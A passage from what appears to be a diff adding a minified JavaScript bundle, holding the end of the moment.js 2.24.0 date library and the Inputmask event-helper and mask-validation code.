= Q(e); + return this.isValid() ? this[e + "s"]() : NaN + } + + function Ma(e) { + return function () { + return this.isValid() ? this._data[e] : NaN + } + } + var ka = Ma("milliseconds"); + var La = Ma("seconds"); + var Ta = Ma("minutes"); + var xa = Ma("hours"); + var Sa = Ma("days"); + var Ya = Ma("months"); + var Da = Ma("years"); + + function Ea() { + return x(this.days() / 7) + } + var Ca = Math.round; + var Pa = { + ss: 44, + s: 45, + m: 45, + h: 22, + d: 26, + M: 11 + }; + + function Aa(e, t, i, n, r) { + return r.relativeTime(t || 1, !!i, e, n) + } + + function Oa(e, t, i) { + var n = Yn(e).abs(); + var r = Ca(n.as("s")); + var a = Ca(n.as("m")); + var s = Ca(n.as("h")); + var o = Ca(n.as("d")); + var l = Ca(n.as("M")); + var u = Ca(n.as("y")); + var d = r <= Pa.ss && ["s", r] || r < Pa.s && ["ss", r] || a <= 1 && ["m"] || a < Pa.m && ["mm", a] || s <= 1 && ["h"] || s < Pa.h && ["hh", s] || o <= 1 && ["d"] || o < Pa.d && ["dd", o] || l <= 1 && ["M"] || l < Pa.M && ["MM", l] || u <= 1 && ["y"] || ["yy", u]; + d[2] = t; + d[3] = +e > 0; + d[4] = i; + return Aa.apply(null, d) + } + + function ja(e) { + if (e === undefined) { + return Ca + } + if (typeof e === "function") { + Ca = e; + return true + } + return false + } + + function Ha(e, t) { + if (Pa[e] === undefined) { + return false + } + if (t === undefined) { + return Pa[e] + } + Pa[e] = t; + if (e === "s") { + Pa.ss = t - 1 + } + return true + } + + function Ia(e) { + if (!this.isValid()) { + return this.localeData().invalidDate() + } + var t = this.localeData(); + var i = Oa(this, !e, t); + if (e) { + i = t.pastFuture(+this, i) + } + return t.postformat(i) + } + var Fa = Math.abs; + + function za(e) { + return (e > 0) - (e < 0) || +e + } + + function Ra() { + if (!this.isValid()) { + return this.localeData().invalidDate() + } + var e = Fa(this._milliseconds) / 1e3; + var t = Fa(this._days); + var i = Fa(this._months); + var n, r, a; + n = x(e / 60); + r = x(n / 60); + e %= 60; + n %= 60; + a = x(i / 12); + i %= 12; + var s = a; + var o = i; + var l = t; + var u = r; + var d = n; + var f = e ? e.toFixed(3).replace(/\.?0+$/, "") : ""; + var c = this.asSeconds(); + if (!c) { + return "P0D" + } + var h = c < 0 ? "-" : ""; + var m = za(this._months) !== za(c) ? "-" : ""; + var p = za(this._days) !== za(c) ? "-" : ""; + var v = za(this._milliseconds) !== za(c) ? "-" : ""; + return h + "P" + (s ? m + s + "Y" : "") + (o ? m + o + "M" : "") + (l ? p + l + "D" : "") + (u || d || f ? "T" : "") + (u ? v + u + "H" : "") + (d ? v + d + "M" : "") + (f ? v + f + "S" : "") + } + var Na = on.prototype; + Na.isValid = an; + Na.abs = ea; + Na.add = ia; + Na.subtract = na; + Na.as = la; + Na.asMilliseconds = fa; + Na.asSeconds = ca; + Na.asMinutes = ha; + Na.asHours = ma; + Na.asDays = pa; + Na.asWeeks = va; + Na.asMonths = _a; + Na.asQuarters = ga; + Na.asYears = ya; + Na.valueOf = ua; + Na._bubble = aa; + Na.clone = ba; + Na.get = wa; + Na.milliseconds = ka; + Na.seconds = La; + Na.minutes = Ta; + Na.hours = xa; + Na.days = Sa; + Na.weeks = Ea; + Na.months = Ya; + Na.years = Da; + Na.humanize = Ia; + Na.toISOString = Ra; + Na.toString = Ra; + Na.toJSON = Ra; + Na.locale = tr; + Na.localeData = nr; + Na.toIsoString = E("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)", Ra); + Na.lang = ir; + le("X", 0, 0, "unix"); + le("x", 0, 0, "valueOf"); + Ce("x", Te); + Ce("X", Ye); + He("X", function (e, t, i) { + i._d = new Date(parseFloat(e, 10) * 1e3) + }); + He("x", function (e, t, i) { + i._d = new Date(S(e)) + }); + r.version = "2.24.0"; + a(Xi); + r.fn = Rr; + r.min = Zi; + r.max = en; + r.now = tn; + r.utc = p; + r.unix = Nr; + r.months = Ur; + r.isDate = f; + r.locale = pi; + r.invalid = b; + r.duration = Yn; + r.isMoment = T; + r.weekdays = Jr; + r.parseZone = Wr; + r.localeData = gi; + r.isDuration = ln; + r.monthsShort = Xr; + r.weekdaysMin = Qr; + r.defineLocale = vi; + r.updateLocale = _i; + r.locales = yi; + r.weekdaysShort = Kr; + r.normalizeUnits = Q; + r.relativeTimeRounding = ja; + r.relativeTimeThreshold = Ha; + r.calendarFormat = Hn; + r.prototype = Rr; + r.HTML5_FMT = { + DATETIME_LOCAL: "YYYY-MM-DDTHH:mm", + DATETIME_LOCAL_SECONDS: "YYYY-MM-DDTHH:mm:ss", + DATETIME_LOCAL_MS: "YYYY-MM-DDTHH:mm:ss.SSS", + DATE: "YYYY-MM-DD", + TIME: "HH:mm", + TIME_SECONDS: "HH:mm:ss", + TIME_MS: "HH:mm:ss.SSS", + WEEK: "GGGG-[W]WW", + MONTH: "YYYY-MM" + }; + return r + }) + }).call(t, i(150)(e)) +}, function (e, t, i) { + var n, r, a; + ! function (s) { + true ? !(r = [i(134), i(135)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("../global/window"), require("../global/document")) : window.dependencyLib = s(window, document) + }(function (e, t) { + function i(e, t) { + for (var i = 0, n = e.length; i < n; i++) + if (e[i] === t) return i; + return -1 + } + + function n(e) { + return null == e ? e + "" : "object" == typeof e || "function" == typeof e ? l[l.toString.call(e)] || "object" : typeof e + } + + function r(e) { + return null != e && e === e.window + } + + function a(e) { + var t = "length" in e && e.length, + i = n(e); + return "function" !== i && !r(e) && (!(1 !== e.nodeType || !t) || ("array" === i || 0 === t || "number" == typeof t && t > 0 && t - 1 in e)) + } + + function s(e) { + return e instanceof Element + } + + function o(i) { + return i instanceof o ? i : this instanceof o ? void(void 0 !== i && null !== i && i !== e && (this[0] = i.nodeName ? i : void 0 !== i[0] && i[0].nodeName ? i[0] : t.querySelector(i), void 0 !== this[0] && null !== this[0] && (this[0].eventRegistry = this[0].eventRegistry || {}))) : new o(i) + } + for (var l = {}, u = "Boolean Number String Function Array Date RegExp Object Error".split(" "), d = 0; d < u.length; d++) l["[object " + u[d] + "]"] = u[d].toLowerCase(); + return o.prototype = { + on: function (e, t) { + if (s(this[0])) + for (var i = this[0].eventRegistry, n = this[0], r = e.split(" "), a = 0; a < r.length; a++) { + var o = r[a].split("."); + ! function (e, r) { + n.addEventListener ? n.addEventListener(e, t, !1) : n.attachEvent && n.attachEvent("on" + e, t), i[e] = i[e] || {}, i[e][r] = i[e][r] || [], i[e][r].push(t) + }(o[0], o[1] || "global") + } + return this + }, + off: function (e, t) { + if (s(this[0])) + for (var i = this[0].eventRegistry, n = this[0], r = e.split(" "), a = 0; a < r.length; a++) + for (var o = r[a].split("."), l = function (e, n) { + var r, a, s = []; + if (e.length > 0) + if (void 0 === t) + for (r = 0, a = i[e][n].length; r < a; r++) s.push({ + ev: e, + namespace: n && n.length > 0 ? n : "global", + handler: i[e][n][r] + }); + else s.push({ + ev: e, + namespace: n && n.length > 0 ? n : "global", + handler: t + }); + else if (n.length > 0) + for (var o in i) + for (var l in i[o]) + if (l === n) + if (void 0 === t) + for (r = 0, a = i[o][l].length; r < a; r++) s.push({ + ev: o, + namespace: l, + handler: i[o][l][r] + }); + else s.push({ + ev: o, + namespace: l, + handler: t + }); + return s + }(o[0], o[1]), u = 0, d = l.length; u < d; u++) ! function (e, t, r) { + if (e in i == 1) + if (n.removeEventListener ? n.removeEventListener(e, r, !1) : n.detachEvent && n.detachEvent("on" + e, r), "global" === t) + for (var a in i[e]) i[e][a].splice(i[e][a].indexOf(r), 1); + else i[e][t].splice(i[e][t].indexOf(r), 1) + }(l[u].ev, l[u].namespace, l[u].handler); + return this + }, + trigger: function (e) { + if (s(this[0])) + for (var i = this[0].eventRegistry, n = this[0], r = "string" == typeof e ? e.split(" ") : [e.type], a = 0; a < r.length; a++) { + var l = r[a].split("."), + u = l[0], + d = l[1] || "global"; + if (void 0 !== t && "global" === d) { + var f, c, h = { + bubbles: !0, + cancelable: !0, + detail: Array.prototype.slice.call(arguments, 1) + }; + if (t.createEvent) { + try { + f = new CustomEvent(u, h) + } catch (e) { + (f = t.createEvent("CustomEvent")).initCustomEvent(u, h.bubbles, h.cancelable, h.detail) + } + e.type && o.extend(f, e), n.dispatchEvent(f) + } else(f = t.createEventObject()).eventType = u, e.type && o.extend(f, e), n.fireEvent("on" + f.eventType, f) + } else if (void 0 !== i[u]) + if (arguments[0] = arguments[0].type ? arguments[0] : o.Event(arguments[0]), "global" === d) + for (var m in i[u]) + for (c = 0; c < i[u][m].length; c++) i[u][m][c].apply(n, arguments); + else + for (c = 0; c < i[u][d].length; c++) i[u][d][c].apply(n, arguments) + } + return this + } + }, o.isFunction = function (e) { + return "function" === n(e) + }, o.noop = function () {}, o.isArray = Array.isArray, o.inArray = function (e, t, n) { + return null == t ? -1 : i(t, e) + }, o.valHooks = void 0, o.isPlainObject = function (e) { + return "object" === n(e) && !e.nodeType && !r(e) && !(e.constructor && !l.hasOwnProperty.call(e.constructor.prototype, "isPrototypeOf")) + }, o.extend = function () { + var e, t, i, n, r, a, s = arguments[0] || {}, + l = 1, + u = arguments.length, + d = !1; + for ("boolean" == typeof s && (d = s, s = arguments[l] || {}, l++), "object" == typeof s || o.isFunction(s) || (s = {}), l === u && (s = this, l--); l < u; l++) + if (null != (e = arguments[l])) + for (t in e) i = s[t], s !== (n = e[t]) && (d && n && (o.isPlainObject(n) || (r = o.isArray(n))) ? (r ? (r = !1, a = i && o.isArray(i) ? i : []) : a = i && o.isPlainObject(i) ? i : {}, s[t] = o.extend(d, a, n)) : void 0 !== n && (s[t] = n)); + return s + }, o.each = function (e, t) { + var i = 0; + if (a(e)) + for (var n = e.length; i < n && !1 !== t.call(e[i], i, e[i]); i++); + else + for (i in e) + if (!1 === t.call(e[i], i, e[i])) break; + return e + }, o.map = function (e, t) { + var i, n = 0, + r = e.length, + s = []; + if (a(e)) + for (; n < r; n++) null != (i = t(e[n], n)) && s.push(i); + else + for (n in e) null != (i = t(e[n], n)) && s.push(i); + return [].concat(s) + }, o.data = function (e, t, i) { + if (void 0 === i) return e.__data ? e.__data[t] : null; + e.__data = e.__data || {}, e.__data[t] = i + }, "function" == typeof e.CustomEvent ? o.Event = e.CustomEvent : (o.Event = function (e, i) { + i = i || { + bubbles: !1, + cancelable: !1, + detail: void 0 + }; + var n = t.createEvent("CustomEvent"); + return n.initCustomEvent(e, i.bubbles, i.cancelable, i.detail), n + }, o.Event.prototype = e.Event.prototype), o + }) +}, function (e, t, i) { + var n, r, a; + ! function (s) { + true ? !(r = [i(1), i(134), i(135)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./global/window"), require("./global/document")) : window.Inputmask = s(window.dependencyLib || jQuery, window, document) + }(function (e, t, i, n) { + function r(t, i, s) { + if (!(this instanceof r)) return new r(t, i, s); + this.el = n, this.events = {}, this.maskset = n, this.refreshValue = !1, !0 !== s && (e.isPlainObject(t) ? i = t : (i = i || {}).alias = t, this.opts = e.extend(!0, {}, this.defaults, i), this.noMasksCache = i && i.definitions !== n, this.userOptions = i || {}, this.isRTL = this.opts.numericInput, a(this.opts.alias, i, this.opts)) + } + + function a(t, i, s) { + var o = r.prototype.aliases[t]; + return o ? (o.alias && a(o.alias, n, s), e.extend(!0, s, o), e.extend(!0, s, i), !0) : (null === s.mask && (s.mask = t), !1) + } + + function s(t, i) { + function a(t, a, s) { + var o = !1; + if (null !== t && "" !== t || ((o = null !== s.regex) ? t = (t = s.regex).replace(/^(\^)(.*)(\$)$/, "$2") : (o = !0, t = ".*")), 1 === t.length && !1 === s.greedy && 0 !== s.repeat && (s.placeholder = ""), s.repeat > 0 || "*" === s.repeat || "+" === s.repeat) { + var l = "*" === s.repeat ? 0 : "+" === s.repeat ? 1 : s.repeat; + t = s.groupmarker.start + t + s.groupmarker.end + s.quantifiermarker.start + l + "," + s.repeat + s.quantifiermarker.end + } + var u, d = o ? "regex_" + s.regex : s.numericInput ? t.split("").reverse().join("") : t; + return r.prototype.masksCache[d] === n || !0 === i ? (u = { + mask: t, + maskToken: r.prototype.analyseMask(t, o, s), + validPositions: {}, + _buffer: n, + buffer: n, + tests: {}, + metadata: a, + maskLength: n + }, !0 !== i && (r.prototype.masksCache[d] = u, u = e.extend(!0, {}, r.prototype.masksCache[d]))) : u = e.extend(!0, {}, r.prototype.masksCache[d]), u + } + if (e.isFunction(t.mask) && (t.mask = t.mask(t)), e.isArray(t.mask)) { + if (t.mask.length > 1) { + t.keepStatic = null === t.keepStatic || t.keepStatic; + var s = t.groupmarker.start; + return e.each(t.numericInput ? t.mask.reverse() : t.mask, function (i, r) { + s.length > 1 && (s += t.groupmarker.end + t.alternatormarker + t.groupmarker.start), r.mask === n || e.isFunction(r.mask) ? s += r : s += r.mask + }), s += t.groupmarker.end, a(s, t.mask, t) + } + t.mask = t.mask.pop() + } + return t.mask && t.mask.mask !== n && !e.isFunction(t.mask.mask) ? a(t.mask.mask, t.mask, t) : a(t.mask, t.mask, t) + } + + function o(a, s, l) { + function h(e, t, i) { + t = t || 0; + var r, a, s, o = [], + u = 0, + d = v(); + do { + !0 === e && m().validPositions[u] ? (a = (s = m().validPositions[u]).match, r = s.locator.slice(), o.push(!0 === i ? s.input : !1 === i ? a.nativeDef : O(u, a))) : (a = (s = y(u, r, u - 1)).match, r = s.locator.slice(), (!1 === l.jitMasking || u < d || "number" == typeof l.jitMasking && isFinite(l.jitMasking) && l.jitMasking > u) && o.push(!1 === i ? a.nativeDef : O(u, a))), u++ + } while ((V === n || u < V) && (null !== a.fn || "" !== a.def) || t > u); + return "" === o[o.length - 1] && o.pop(), m().maskLength = u + 1, o + } + + function m() { + return s + } + + function p(e) { + var t = m(); + t.buffer = n, !0 !== e && (t.validPositions = {}, t.p = 0) + } + + function v(e, t, i) { + var r = -1, + a = -1, + s = i || m().validPositions; + e === n && (e = -1); + for (var o in s) { + var l = parseInt(o); + s[l] && (t || !0 !== s[l].generatedInput) && (l <= e && (r = l), l >= e && (a = l)) + } + return -1 !== r && e - r > 1 || a < e ? r : a + } + + function _(t, i, r, a) { + var s, o = t, + u = e.extend(!0, {}, m().validPositions), + d = !1; + for (m().p = t, s = i - 1; s >= o; s--) m().validPositions[s] !== n && (!0 !== r && (!m().validPositions[s].match.optionality && function (e) { + var t = m().validPositions[e]; + if (t !== n && null === t.match.fn) { + var i = m().validPositions[e - 1], + r = m().validPositions[e + 1]; + return i !== n && r !== n + } + return !1 + }(s) || !1 === l.canClearPosition(m(), s, v(), a, l)) || delete m().validPositions[s]); + for (p(!0), s = o + 1; s <= v();) { + for (; m().validPositions[o] !== n;) o++; + if (s < o && (s = o + 1), m().validPositions[s] === n && D(s)) s++; + else { + var f = y(s); + !1 === d && u[o] && u[o].match.def === f.match.def ? (m().validPositions[o] = e.extend(!0, {}, u[o]), m().validPositions[o].input = f.input, delete m().validPositions[s], s++) : w(o, f.match.def) ? !1 !== Y(o, f.input || O(s), !0) && (delete m().validPositions[s], s++, d = !0) : D(s) || (s++, o--), o++ + } + } + p(!0) + } + + function g(e, t) { + for (var i, r = e, a = v(), s = m().validPositions[a] || M(0)[0], o = s.alternation !== n ? s.locator[s.alternation].toString().split(",") : [], u = 0; u < r.length && (!((i = r[u]).match && (l.greedy && !0 !== i.match.optionalQuantifier || (!1 === i.match.optionality || !1 === i.match.newBlockMarker) && !0 !== i.match.optionalQuantifier) && (s.alternation === n || s.alternation !== i.alternation || i.locator[s.alternation] !== n && S(i.locator[s.alternation].toString().split(","), o))) || !0 === t && (null !== i.match.fn || /[0-9a-bA-Z]/.test(i.match.def))); u++); + return i + } + + function y(e, t, i) { + return m().validPositions[e] || g(M(e, t ? t.slice() : t, i)) + } + + function b(e) { + return m().validPositions[e] ? m().validPositions[e] : M(e)[0] + } + + function w(e, t) { + for (var i = !1, n = M(e), r = 0; r < n.length; r++) + if (n[r].match && n[r].match.def === t) { + i = !0; + break + } + return i + } + + function M(t, i, r) { + function a(i, r, s, u) { + function f(s, u, v) { + function _(t, i) { + var n = 0 === e.inArray(t, i.matches); + return n || e.each(i.matches, function (e, r) { + if (!0 === r.isQuantifier && (n = _(t, i.matches[e - 1]))) return !1 + }), n + } + + function g(t, i, r) { + var a, s; + if (m().validPositions[t - 1] && r && m().tests[t]) + for (var o = m().validPositions[t - 1].locator, l = m().tests[t][0].locator, u = 0; u < r; u++) + if (o[u] !== l[u]) return o.slice(r + 1); + return (m().tests[t] || m().validPositions[t]) && e.each(m().tests[t] || [m().validPositions[t]], function (e, t) { + var o = r !== n ? r : t.alternation, + l = t.locator[o] !== n ? t.locator[o].toString().indexOf(i) : -1; + (s === n || l < s) && -1 !== l && (a = t, s = l) + }), a ? a.locator.slice((r !== n ? r : a.alternation) + 1) : r !== n ? g(t, i) : n + } + if (d > 1e4) throw "Inputmask: There is probably an error in your mask definition or in the code. Create an issue on github with an example of the mask you are using. " + m().mask; + if (d === t && s.matches === n) return c.push({ + match: s, + locator: u.reverse(), + cd: p + }), !0; + if (s.matches !== n) { + if (s.isGroup && v !== s) { + if (s = f(i.matches[e.inArray(s, i.matches) + 1], u)) return !0 + } else if (s.isOptional) { + var y = s; + if (s = a(s, r, u, v)) { + if (o = c[c.length - 1].match, !_(o, y)) return !0; + h = !0, d = t + } + } else if (s.isAlternator) { + var b, w = s, + M = [], + k = c.slice(), + L = u.length, + T = r.length > 0 ? r.shift() : -1; + if (-1 === T || "string" == typeof T) { + var x, S = d, + Y = r.slice(), + D = []; + if ("string" == typeof T) D = T.split(","); + else + for (x = 0; x < w.matches.length; x++) D.push(x); + for (var E = 0; E < D.length; E++) { + if (x = parseInt(D[E]), c = [], r = g(d, x, L) || Y.slice(), !0 !== (s = f(w.matches[x] || i.matches[x], [x].concat(u), v) || s) && s !== n && D[D.length - 1] < w.matches.length) { + var C = e.inArray(s, i.matches) + 1; + i.matches.length > C && (s = f(i.matches[C], [C].concat(u.slice(1, u.length)), v)) && (D.push(C.toString()), e.each(c, function (e, t) { + t.alternation = u.length - 1 + })) + } + b = c.slice(), d = S, c = []; + for (var P = 0; P < b.length; P++) { + var A = b[P], + O = !1; + A.alternation = A.alternation || L; + for (var j = 0; j < M.length; j++) { + var H = M[j]; + if ("string" != typeof T || -1 !== e.inArray(A.locator[A.alternation].toString(), D)) { + if (function (e, t) { + return e.match.nativeDef === t.match.nativeDef || e.match.def === t.match.nativeDef || e.match.nativeDef === t.match.def + }(A, H)) { + O = !0, A.alternation === H.alternation && -1 === H.locator[H.alternation].toString().indexOf(A.locator[A.alternation]) && (H.locator[H.alternation] = H.locator[H.alternation] + "," + A.locator[A.alternation], H.alternation = A.alternation), A.match.nativeDef === H.match.def && (A.locator[A.alternation] = H.locator[H.alternation], M.splice(M.indexOf(H), 1, A)); + break + } + if (A.match.def === H.match.def) { + O = !1; + break + } + if (function (e, i) { + return null === e.match.fn && null !== i.match.fn && i.match.fn.test(e.match.def, m(), t, !1, l, !1) + }(A, H) || function (e, i) { + return null !== e.match.fn && null !== i.match.fn && i.match.fn.test(e.match.def.replace(/[\[\]]/g, ""), m(), t, !1, l, !1) + }(A, H)) { + A.alternation === H.alternation && -1 === A.locator[A.alternation].toString().indexOf(H.locator[H.alternation].toString().split("")[0]) && (A.na = A.na || A.locator[A.alternation].toString(), -1 === A.na.indexOf(A.locator[A.alternation].toString().split("")[0]) && (A.na = A.na + "," + A.locator[H.alternation].toString().split("")[0]), O = !0, A.locator[A.alternation] = H.locator[H.alternation].toString().split("")[0] + "," + A.locator[A.alternation], M.splice(M.indexOf(H), 0, A)); + break + } + } + } + O || M.push(A) + } + } + "string" == typeof T && (M = e.map(M, function (t, i) { + if (isFinite(i)) { + var r = t.alternation, + a = t.locator[r].toString().split(","); + t.locator[r] = n, t.alternation = n; + for (var s = 0; s < a.length; s++) - 1 !== e.inArray(a[s], D) && (t.locator[r] !== n ? (t.locator[r] += ",", t.locator[r] += a[s]) : t.locator[r] = parseInt(a[s]), t.alternation = r); + if (t.locator[r] !== n) return t + } + })), c = k.concat(M), d = t, h = c.length > 0, s = M.length > 0, r = Y.slice() + } else s = f(w.matches[T] || i.matches[T], [T].concat(u), v); + if (s) return !0 + } else if (s.isQuantifier && v !== i.matches[e.inArray(s, i.matches) - 1]) + for (var I = s, F = r.length > 0 ? r.shift() : 0; F < (isNaN(I.quantifier.max) ? F + 1 : I.quantifier.max) && d <= t; F++) { + var z = i.matches[e.inArray(I, i.matches) - 1]; + if (s = f(z, [F].concat(u), z)) { + if (o = c[c.length - 1].match, o.optionalQuantifier = F > I.quantifier.min - 1, _(o, z)) { + if (F > I.quantifier.min - 1) { + h = !0, d = t; + break + } + return !0 + } + return !0 + } + } else if (s = a(s, r, u, v)) return !0 + } else d++ + } + for (var v = r.length > 0 ? r.shift() : 0; v < i.matches.length; v++) + if (!0 !== i.matches[v].isQuantifier) { + var _ = f(i.matches[v], [v].concat(s), u); + if (_ && d === t) return _; + if (d > t) break + } + } + + function s(e) { + if (l.keepStatic && t > 0 && e.length > 1 + ("" === e[e.length - 1].match.def ? 1 : 0) && !0 !== e[0].match.optionality && !0 !== e[0].match.optionalQuantifier && null === e[0].match.fn && !/[0-9a-bA-Z]/.test(e[0].match.def)) { + if (m().validPositions[t - 1] === n) return [g(e)]; + if (m().validPositions[t - 1].alternation === e[0].alternation) return [g(e)]; + if (m().validPositions[t - 1]) return [g(e)] + } + return e + } + var o, u = m().maskToken, + d = i ? r : 0, + f = i ? i.slice() : [0], + c = [], + h = !1, + p = i ? i.join("") : ""; + if (t > -1) { + if (i === n) { + for (var v, _ = t - 1; + (v = m().validPositions[_] || m().tests[_]) === n && _ > -1;) _--; + v !== n && _ > -1 && (f = function (t) { + var i = []; + return e.isArray(t) || (t = [t]), t.length > 0 && (t[0].alternation === n ? 0 === (i = g(t.slice()).locator.slice()).length && (i = t[0].locator.slice()) : e.each(t, function (e, t) { + if ("" !== t.def) + if (0 === i.length) i = t.locator.slice(); + else + for (var n = 0; n < i.length; n++) t.locator[n] && -1 === i[n].toString().indexOf(t.locator[n]) && (i[n] += "," + t.locator[n]) + })), i + }(v), p = f.join(""), d = _) + } + if (m().tests[t] && m().tests[t][0].cd === p) return s(m().tests[t]); + for (var y = f.shift(); y < u.length && !(a(u[y], f, [y]) && d === t || d > t); y++); + } + return (0 === c.length || h) && c.push({ + match: { + fn: null, + cardinality: 0, + optionality: !0, + casing: null, + def: "", + placeholder: "" + }, + locator: [], + cd: p + }), i !== n && m().tests[t] ? s(e.extend(!0, [], c)) : (m().tests[t] = e.extend(!0, [], c), s(m().tests[t])) + } + + function k() { + return m()._buffer === n && (m()._buffer = h(!1, 1), m().buffer === n && (m().buffer = m()._buffer.slice())), m()._buffer + } + + function L(e) { + return m().buffer !== n && !0 !== e || (m().buffer = h(!0, v(), !0)), m().buffer + } + + function T(e, t, i) { + var r, a; + if (!0 === e) p(), e = 0, t = i.length; + else + for (r = e; r < t; r++) delete m().validPositions[r]; + for (a = e, r = e; r < t; r++) + if (p(!0), i[r] !== l.skipOptionalPartCharacter) { + var s = Y(a, i[r], !0, !0); + !1 !== s && (p(!0), a = s.caret !== n ? s.caret : s.pos + 1) + } + } + + function x(t, i, n) { + switch (l.casing || i.casing) { + case "upper": + t = t.toUpperCase(); + break; + case "lower": + t = t.toLowerCase(); + break; + case "title": + var a = m().validPositions[n - 1]; + t = 0 === n || a && a.input === String.fromCharCode(r.keyCode.SPACE) ? t.toUpperCase() : t.toLowerCase(); + break; + default: + if (e.isFunction(l.casing)) { + var s = Array.prototype.slice.call(arguments); + s.push(m().validPositions), t = l.casing.apply(this, s) + } + } + return t + } + + function S(t, i, r) { + for (var a, s = l.greedy ? i : i.slice(0, 1), o = !1, u = r !== n ? r.split(",") : [], d = 0; d < u.length; d++) - 1 !== (a = t.indexOf(u[d])) && t.splice(a, 1); + for (var f = 0; f < t.length; f++) + if (-1 !== e.inArray(t[f], s)) { + o = !0; + break + } + return o + } + + function Y(t, i, a, s, o, u) { + function d(e) { + var t = J ? e.begin - e.end > 1 || e.begin - e.end == 1 : e.end - e.begin > 1 || e.end - e.begin == 1; + return t && 0 === e.begin && e.end === m().maskLength ? "full" : t + } + + function f(i, r, a) { + var o = !1; + return e.each(M(i), function (u, f) { + for (var h = f.match, g = r ? 1 : 0, y = "", b = h.cardinality; b > g; b--) y += P(i - (b - 1)); + if (r && (y += r), L(!0), !1 !== (o = null != h.fn ? h.fn.test(y, m(), i, a, l, d(t)) : (r === h.def || r === l.skipOptionalPartCharacter) && "" !== h.def && { + c: O(i, h, !0) || h.def, + pos: i + })) { + var w = o.c !== n ? o.c : r; + w = w === l.skipOptionalPartCharacter && null === h.fn ? O(i, h, !0) || h.def : w; + var M = i, + k = L(); + if (o.remove !== n && (e.isArray(o.remove) || (o.remove = [o.remove]), e.each(o.remove.sort(function (e, t) { + return t - e + }), function (e, t) { + _(t, t + 1, !0) + })), o.insert !== n && (e.isArray(o.insert) || (o.insert = [o.insert]), e.each(o.insert.sort(function (e, t) { + return e - t + }), function (e, t) { + Y(t.pos, t.c, !0, s) + })), o.refreshFromBuffer) { + var S = o.refreshFromBuffer; + if (T(!0 === S ? S : S.start, S.end, k), o.pos === n && o.c === n) return o.pos = v(), !1; + if ((M = o.pos !== n ? o.pos : i) !== i) return o = e.extend(o, Y(M, w, !0, s)), !1 + } else if (!0 !== o && o.pos !== n && o.pos !== i && (M = o.pos, T(i, M, L().slice()), M !== i)) return o = e.extend(o, Y(M, w, !0)), !1; + return (!0 === o || o.pos !== n || o.c !== n) && (u > 0 && p(!0), c(M, e.extend({}, f, { + input: x(w, h, M) + }), s, d(t)) || (o = !1), !1) + } + }), o + } + + function c(t, i, r, a) { + if (a || l.insertMode && m().validPositions[t] !== n && r === n) { + var s, o = e.extend(!0, {}, m().validPositions), + u = v(n, !0); + for (s = t; s <= u; s++) delete m().validPositions[s]; + m().validPositions[t] = e.extend(!0, {}, i); + var d, f = !0, + c = m().validPositions, + _ = !1, + g = m().maskLength; + for (s = d = t; s <= u; s++) { + var y = o[s]; + if (y !== n) + for (var b = d; b < m().maskLength && (null === y.match.fn && c[s] && (!0 === c[s].match.optionalQuantifier || !0 === c[s].match.optionality) || null != y.match.fn);) { + if (b++, !1 === _ && o[b] && o[b].match.def === y.match.def) m().validPositions[b] = e.extend(!0, {}, o[b]), m().validPositions[b].input = y.input, h(b), d = b, f = !0; + else if (w(b, y.match.def)) { + var M = Y(b, y.input, !0, !0); + f = !1 !== M, d = M.caret || M.insert ? v() : b, _ = !0 + } else if (!(f = !0 === y.generatedInput) && b >= m().maskLength - 1) break; + if (m().maskLength < g && (m().maskLength = g), f) break + } + if (!f) break + } + if (!f) return m().validPositions = e.extend(!0, {}, o), p(!0), !1 + } else m().validPositions[t] = e.extend(!0, {}, i); + return p(!0), !0 + } + + function h(t) { + for (var i = t - 1; i > -1 && !m().validPositions[i]; i--); + var r, a; + for (i++; i < t; i++) m().validPositions[i] === n && (!1 === l.jitMasking || l.jitMasking > i) && ("" === (a = M(i, y(i - 1).locator, i - 1).slice())[a.length - 1].match.def && a.pop(), (r = g(a)) && (r.match.def === l.radixPointDefinitionSymbol || !D(i, !0) || e.inArray(l.radixPoint, L()) < i && r.match.fn && r.match.fn.test(O(i), m(), i, !1, l)) && !1 !== (k = f(i, O(i, r.match, !0) || (null == r.match.fn ? r.match.def : "" !== O(i) ? O(i) : L()[i]), !0)) && (m().validPositions[k.pos || i].generatedInput = !0)) + } + a = !0 === a; + var b = t; + t.begin !== n && (b = J && !d(t) ? t.end : t.begin); + var k = !0, + C = e.extend(!0, {}, m().validPositions); + if (e.isFunction(l.preValidation) && !a && !0 !== s && !0 !== u && (k = l.preValidation(L(), b, i, d(t), l)), !0 === k) { + if (h(b), d(t) && (N(n, r.keyCode.DELETE, t, !0, !0), b = m().p), b < m().maskLength && (V === n || b < V) && (k = f(b, i, a), (!a || !0 === s) && !1 === k && !0 !== u)) { + var A = m().validPositions[b]; + if (!A || null !== A.match.fn || A.match.def !== i && i !== l.skipOptionalPartCharacter) { + if ((l.insertMode || m().validPositions[E(b)] === n) && !D(b, !0)) + for (var j = b + 1, H = E(b); j <= H; j++) + if (!1 !== (k = f(j, i, a))) { + ! function (t, i) { + var r = m().validPositions[i]; + if (r) + for (var a = r.locator, s = a.length, o = t; o < i; o++) + if (m().validPositions[o] === n && !D(o, !0)) { + var l = M(o).slice(), + u = g(l, !0), + d = -1; + "" === l[l.length - 1].match.def && l.pop(), e.each(l, function (e, t) { + for (var i = 0; i < s; i++) { + if (t.locator[i] === n || !S(t.locator[i].toString().split(","), a[i].toString().split(","), t.na)) { + var r = a[i], + o = u.locator[i], + l = t.locator[i]; + r - o > Math.abs(r - l) && (u = t); + break + } + d < i && (d = i, u = t) + } + }), (u = e.extend({}, u, { + input: O(o, u.match, !0) || u.match.def + })).generatedInput = !0, c(o, u, !0), m().validPositions[i] = n, f(i, r.input, !0) + } + }(b, k.pos !== n ? k.pos : j), b = j; + break + } + } else k = { + caret: E(b) + } + }!1 === k && l.keepStatic && !a && !0 !== o && (k = function (t, i, r) { + var a, o, u, d, f, c, h, _, g = e.extend(!0, {}, m().validPositions), + y = !1, + b = v(); + for (d = m().validPositions[b]; b >= 0; b--) + if ((u = m().validPositions[b]) && u.alternation !== n) { + if (a = b, o = m().validPositions[a].alternation, d.locator[u.alternation] !== u.locator[u.alternation]) break; + d = u + } + if (o !== n) { + _ = parseInt(a); + var w = d.locator[d.alternation || o] !== n ? d.locator[d.alternation || o] : h[0]; + w.length > 0 && 